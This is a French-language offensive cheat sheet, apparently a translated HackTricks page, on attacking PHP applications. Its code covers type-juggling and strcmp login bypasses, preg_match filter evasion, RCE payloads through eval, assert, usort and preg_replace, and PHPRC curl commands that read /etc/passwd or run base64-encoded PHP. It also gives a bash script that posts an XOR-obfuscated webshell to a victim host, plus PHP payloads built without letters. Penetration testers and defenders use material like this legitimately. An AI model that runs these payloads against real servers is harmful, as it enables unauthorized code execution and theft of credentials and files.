PHP Tricks

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Emplacement commun des cookies :

Ceci est également valable pour les cookies de phpMyAdmin.

Cookies:

PHPSESSID
phpMyAdmin

Lieux :

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

Contournement des comparaisons PHP

Comparaisons lâches/Type Juggling ( == )

Si == est utilisé en PHP, il peut y avoir des cas inattendus où la comparaison ne se comporte pas comme prévu. Cela est dû au fait que "==" compare uniquement les valeurs transformées en le même type. Si vous souhaitez également comparer que le type des données comparées est le même, vous devez utiliser ===.

Tableaux de comparaison PHP : https://www.php.net/manual/en/types.comparisons.php

  • "string" == 0 -> True Une chaîne qui ne commence pas par un nombre est égale à un nombre

  • "0xAAAA" == "43690" -> True Les chaînes composées de nombres au format décimal ou hexadécimal peuvent être comparées à d'autres nombres/chaînes avec True comme résultat si les nombres étaient les mêmes (les nombres dans une chaîne sont interprétés comme des nombres)

  • "0e3264578" == 0 --> True Une chaîne commençant par "0e" et suivie de n'importe quoi sera égale à 0

  • "0X3264578" == 0X --> True Une chaîne commençant par "0" et suivie de n'importe quelle lettre (X peut être n'importe quelle lettre) et suivie de n'importe quoi sera égale à 0

  • "0e12334" == "0" --> True C'est très intéressant car dans certains cas, vous pouvez contrôler l'entrée de chaîne de "0" et certains contenus qui sont hachés et comparés à cela. Par conséquent, si vous pouvez fournir une valeur qui créera un hachage commençant par "0e" et sans aucune lettre, vous pourriez contourner la comparaison. Vous pouvez trouver des chaînes déjà hachées avec ce format ici : https://github.com/spaze/hashes

  • "X" == 0 --> True Toute lettre dans une chaîne est égale à l'entier 0

Plus d'informations sur https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

in_array()

Type Juggling affecte également la fonction in_array() par défaut (vous devez définir sur true le troisième argument pour effectuer une comparaison stricte) :

$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

Si cette fonction est utilisée pour toute vérification d'authentification (comme la vérification du mot de passe) et que l'utilisateur contrôle un côté de la comparaison, il peut envoyer un tableau vide au lieu d'une chaîne de caractères comme valeur du mot de passe (https://example.com/login.php/?username=admin&password[]=) et contourner cette vérification:

if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

Le même erreur se produit avec strcasecmp()

Conversion de type strict

Même si === est utilisé, il peut y avoir des erreurs qui rendent la comparaison vulnérable à la conversion de type. Par exemple, si la comparaison convertit les données en un type d'objet différent avant de les comparer:

(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

preg_match() pourrait être utilisé pour valider l'entrée de l'utilisateur (il vérifie si un mot/regex de la liste noire est présent dans l'entrée de l'utilisateur et si ce n'est pas le cas, le code peut continuer son exécution).

Contournement de saut de ligne

Cependant, en délimitant le début de l'expression régulière, preg_match() ne vérifie que la première ligne de l'entrée de l'utilisateur, puis si d'une manière ou d'une autre vous pouvez envoyer l'entrée sur plusieurs lignes, vous pourriez contourner cette vérification. Exemple :

$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

Pour contourner cette vérification, vous pourriez envoyer la valeur avec des sauts de ligne urlencodés (%0A) ou si vous pouvez envoyer des données JSON, envoyez-les sur plusieurs lignes :

{
"cmd": "cat /etc/passwd"
}

Trouvez un exemple ici : https://ramadistra.dev/fbctf-2019-rceservice

Contournement d'erreur de longueur

(Ce contournement a apparemment été testé sur PHP 5.2.5 et je n'ai pas réussi à le faire fonctionner sur PHP 7.3.15) Si vous pouvez envoyer à preg_match() une entrée très grande valide, il ne pourra pas la traiter et vous pourrez contourner la vérification. Par exemple, s'il met en liste noire un JSON, vous pourriez envoyer :

payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'

Contournement de ReDoS

Astuce de : https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223

En bref, le problème se produit car les fonctions preg_* en PHP s'appuient sur la bibliothèque PCRE. Dans PCRE, certaines expressions régulières sont appariées en utilisant beaucoup d'appels récursifs, ce qui utilise beaucoup d'espace de pile. Il est possible de définir une limite sur le nombre de récursions autorisées, mais en PHP cette limite est par défaut à 100 000 ce qui dépasse la taille de la pile.

Cette discussion sur Stackoverflow a également été liée dans l'article où il est discuté plus en profondeur de ce problème. Notre tâche était maintenant claire : Envoyer une entrée qui ferait faire plus de 100 000 récursions à l'expression régulière, provoquant un SIGSEGV, faisant en sorte que la fonction preg_match() renvoie false, ce qui amène l'application à penser que notre entrée n'est pas malveillante, en lançant la surprise à la fin de la charge utile quelque chose comme {system(<verybadcommand>)} pour obtenir SSTI --> RCE --> drapeau :).

Eh bien, en termes d'expressions régulières, nous ne faisons pas réellement 100k "récursions", mais nous comptons plutôt les "étapes de retour en arrière", comme le mentionne la documentation PHP qui indique que par défaut, cela correspond à 1 000 000 (1M) dans la variable pcre.backtrack_limit. Pour y parvenir, 'X'*500_001 donnera comme résultat 1 million d'étapes de retour en arrière (500k en avant et 500k en arrière) :

payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"

Type Juggling pour l'obscurcissement PHP

$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

Exécution Après Redirection (EAR)

Si PHP redirige vers une autre page mais qu'aucune fonction die ou exit n'est appelée après que l'en-tête Location soit défini, le PHP continue d'exécuter et d'ajouter des données au corps de la page :

<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

Exploitation de la Traversal de Chemin et de l'Inclusion de Fichier

Vérifiez :

pageFile Inclusion/Path traversal

Plus de astuces

  • register_globals : Dans PHP < 4.1.1.1 ou s'il est mal configuré, register_globals peut être activé (ou leur comportement est imité). Cela implique que dans les variables globales comme $_GET s'ils ont une valeur par exemple $_GET["param"]="1234", vous pouvez y accéder via $param. Par conséquent, en envoyant des paramètres HTTP, vous pouvez écraser des variables qui sont utilisées dans le code.

  • Les cookies PHPSESSION du même domaine sont stockés au même endroit, donc si dans un domaine différents cookies sont utilisés dans différents chemins vous pouvez faire en sorte qu'un chemin accède au cookie du chemin en définissant la valeur du cookie de l'autre chemin. De cette manière, si les deux chemins accèdent à une variable portant le même nom vous pouvez faire en sorte que la valeur de cette variable dans le chemin 1 s'applique au chemin 2. Ensuite, le chemin 2 considérera comme valides les variables du chemin 1 (en donnant au cookie le nom qui lui correspond dans le chemin 2).

  • Lorsque vous avez les noms d'utilisateur des utilisateurs de la machine. Vérifiez l'adresse : /~<USERNAME> pour voir si les répertoires php sont activés.

password_hash/password_verify

Ces fonctions sont généralement utilisées en PHP pour générer des hachages à partir de mots de passe et pour vérifier si un mot de passe est correct par rapport à un hachage. Les algorithmes pris en charge sont : PASSWORD_DEFAULT et PASSWORD_BCRYPT (commence par $2y$). Notez que PASSWORD_DEFAULT est fréquemment identique à PASSWORD_BCRYPT. Et actuellement, PASSWORD_BCRYPT a une limite de taille en entrée de 72 octets. Par conséquent, lorsque vous essayez de hacher quelque chose de plus grand que 72 octets avec cet algorithme, seuls les 72 premiers octets seront utilisés :

$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

Contournement des en-têtes HTTP en abusant des erreurs PHP

Si une page PHP imprime des erreurs et renvoie certaines entrées fournies par l'utilisateur, l'utilisateur peut faire en sorte que le serveur PHP renvoie un contenu suffisamment long pour que lorsqu'il essaie d'ajouter les en-têtes dans la réponse, le serveur génère une erreur. Dans le scénario suivant, l'attaquant a provoqué des erreurs importantes sur le serveur, et comme vous pouvez le voir à l'écran, lorsque PHP a tenté de modifier les informations d'en-tête, il n'a pas pu (par exemple, l'en-tête CSP n'a pas été envoyé à l'utilisateur) :

Exécution de code

system("ls"); `ls`; shell_exec("ls");

Vérifiez ceci pour plus de fonctions PHP utiles

RCE via preg_replace()

preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

Pour exécuter le code dans l'argument "replace", il est nécessaire d'avoir au moins une correspondance. Cette option de preg_replace a été dépréciée à partir de PHP 5.5.0.

RCE via Eval()

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

RCE via Assert()

Cette fonction en php vous permet d'exécuter du code qui est écrit dans une chaîne de caractères afin de retourner vrai ou faux (et en fonction de cela modifier l'exécution). Habituellement, la variable utilisateur sera insérée au milieu d'une chaîne de caractères. Par exemple : assert("strpos($_GET['page']),'..') === false") --> Dans ce cas, pour obtenir RCE, vous pourriez faire :

?page=a','NeVeR') === false and system('ls') and strpos('a

Vous devrez casser la syntaxe du code, ajouter votre charge utile, puis la réparer. Vous pouvez utiliser des opérations logiques telles que "and" ou "%26%26" ou "|". Notez que "or", "||" ne fonctionne pas car si la première condition est vraie, notre charge utile ne sera pas exécutée. De la même manière, ";" ne fonctionne pas car notre charge utile ne sera pas exécutée.

Une autre option est d'ajouter à la chaîne l'exécution de la commande : '.highlight_file('.passwd').'

Autre option (si vous avez le code interne) est de modifier une variable pour altérer l'exécution : $file = "hola"

RCE via usort()

Cette fonction est utilisée pour trier un tableau d'éléments en utilisant une fonction spécifique. Pour abuser de cette fonction :

<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

RCE via .httaccess

Si vous pouvez uploader un .htaccess, alors vous pouvez configurer plusieurs choses et même exécuter du code (en configurant que les fichiers avec l'extension .htaccess peuvent être exécutés).

Différentes coquilles .htaccess peuvent être trouvées ici

RCE via Variables d'Environnement

Si vous trouvez une vulnérabilité qui vous permet de modifier les variables d'environnement en PHP (et une autre pour uploader des fichiers, bien qu'avec plus de recherche cela puisse être contourné), vous pourriez abuser de ce comportement pour obtenir RCE.

  • LD_PRELOAD: Cette variable d'environnement vous permet de charger des bibliothèques arbitraires lors de l'exécution d'autres binaires (bien que dans ce cas cela pourrait ne pas fonctionner).

  • PHPRC : Indique à PHP où localiser son fichier de configuration, généralement appelé php.ini. Si vous pouvez uploader votre propre fichier de configuration, alors utilisez PHPRC pour le pointer vers PHP. Ajoutez une entrée auto_prepend_file spécifiant un deuxième fichier uploadé. Ce deuxième fichier contient du code PHP normal, qui est ensuite exécuté par le moteur PHP avant tout autre code.

  1. Uploadez un fichier PHP contenant notre code de coquille

  2. Uploadez un deuxième fichier, contenant une directive auto_prepend_file indiquant au préprocesseur PHP d'exécuter le fichier que nous avons uploadé à l'étape 1

  3. Définissez la variable PHPRC sur le fichier que nous avons uploadé à l'étape 2.

  • Obtenez plus d'informations sur la façon d'exécuter cette chaîne à partir du rapport original.

  • PHPRC - une autre option

  • Si vous ne pouvez pas uploader de fichiers, vous pourriez utiliser dans FreeBSD le "fichier" /dev/fd/0 qui contient le stdin, étant le corps de la requête envoyée au stdin:

  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'

  • Ou pour obtenir RCE, activez allow_url_include et préfixez un fichier avec du code PHP en base64:

  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'

  • Technique de ce rapport.

PHP Analyse Statique

Vérifiez si vous pouvez insérer du code dans les appels à ces fonctions (de ici):

exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

Si vous déboguez une application PHP, vous pouvez activer l'affichage des erreurs globalement dans /etc/php5/apache2/php.ini en ajoutant display_errors = On et redémarrer Apache : sudo systemctl restart apache2

Déobfuscation de code PHP

Vous pouvez utiliser le site web www.unphp.net pour déobfusquer du code PHP.

Enveloppes et protocoles PHP

Les enveloppes et protocoles PHP pourraient vous permettre de contourner les protections en écriture et en lecture dans un système et le compromettre. Pour plus d'informations, consultez cette page.

RCE non authentifié Xdebug

Si vous constatez que Xdebug est activé dans la sortie de phpconfig(), vous devriez essayer d'obtenir une RCE via https://github.com/nqxcode/xdebug-exploit

Variables variables

$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

RCE abusant de new $_GET["a"]($_GET["b"])

Si dans une page vous pouvez créer un nouvel objet d'une classe arbitraire, vous pourriez être en mesure d'obtenir une RCE, consultez la page suivante pour apprendre comment :

pagePHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

Exécuter du PHP sans lettres

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

Utilisation d'octal

$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

XOR

$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

Code shell XOR simple

Selon cette explication, il est possible de générer un code shell simple de cette manière :

$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

Donc, si vous pouvez exécuter du PHP arbitraire sans chiffres et lettres, vous pouvez envoyer une requête comme celle-ci en abusant de cette charge utile pour exécuter du PHP arbitraire :

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

Pour une explication plus approfondie, consultez https://ctf-wiki.org/web/php/php/#preg_match

Code shell XOR (à l'intérieur de eval)

#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

Perl like

Comme Perl

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)!

D'autres façons de soutenir HackTricks:

Dernière mise à jour